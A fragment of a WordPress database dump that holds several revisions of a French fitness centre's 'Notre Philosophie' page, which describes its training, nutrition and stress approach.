(297, 1, '2013-07-04 19:04:28', '2013-07-04 19:04:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:04:28', '2013-07-04 19:04:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-43/', 0, 'revision', '', 0),
(296, 1, '2013-07-04 19:02:56', '2013-07-04 19:02:56', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:02:56', '2013-07-04 19:02:56', '', 5, 'http://www.crosstrainingcenter.be/5-revision-42/', 0, 'revision', '', 0),
(298, 1, '2013-07-04 19:07:45', '2013-07-04 19:07:45', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:07:45', '2013-07-04 19:07:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-44/', 0, 'revision', '', 0),
(299, 1, '2013-07-04 19:10:38', '2013-07-04 19:10:38', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:10:38', '2013-07-04 19:10:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-45/', 0, 'revision', '', 0),
(301, 1, '2013-07-04 19:11:52', '2013-07-04 19:11:52', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:52', '2013-07-04 19:11:52', '', 5, 'http://www.crosstrainingcenter.be/5-revision-47/', 0, 'revision', '', 0),
(300, 1, '2013-07-04 19:11:13', '2013-07-04 19:11:13', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:13', '2013-07-04 19:11:13', '', 5, 'http://www.crosstrainingcenter.be/5-revision-46/', 0, 'revision', '', 0),
(302, 1, '2013-07-04 19:13:28', '2013-07-04 19:13:28', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:13:28', '2013-07-04 19:13:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-48/', 0, 'revision', '', 0),
(303, 1, '2013-07-04 19:14:58', '2013-07-04 19:14:58', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 100px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:14:58', '2013-07-04 19:14:58', '', 5, 'http://www.crosstrainingcenter.be/5-revision-49/', 0, 'revision', '', 0),
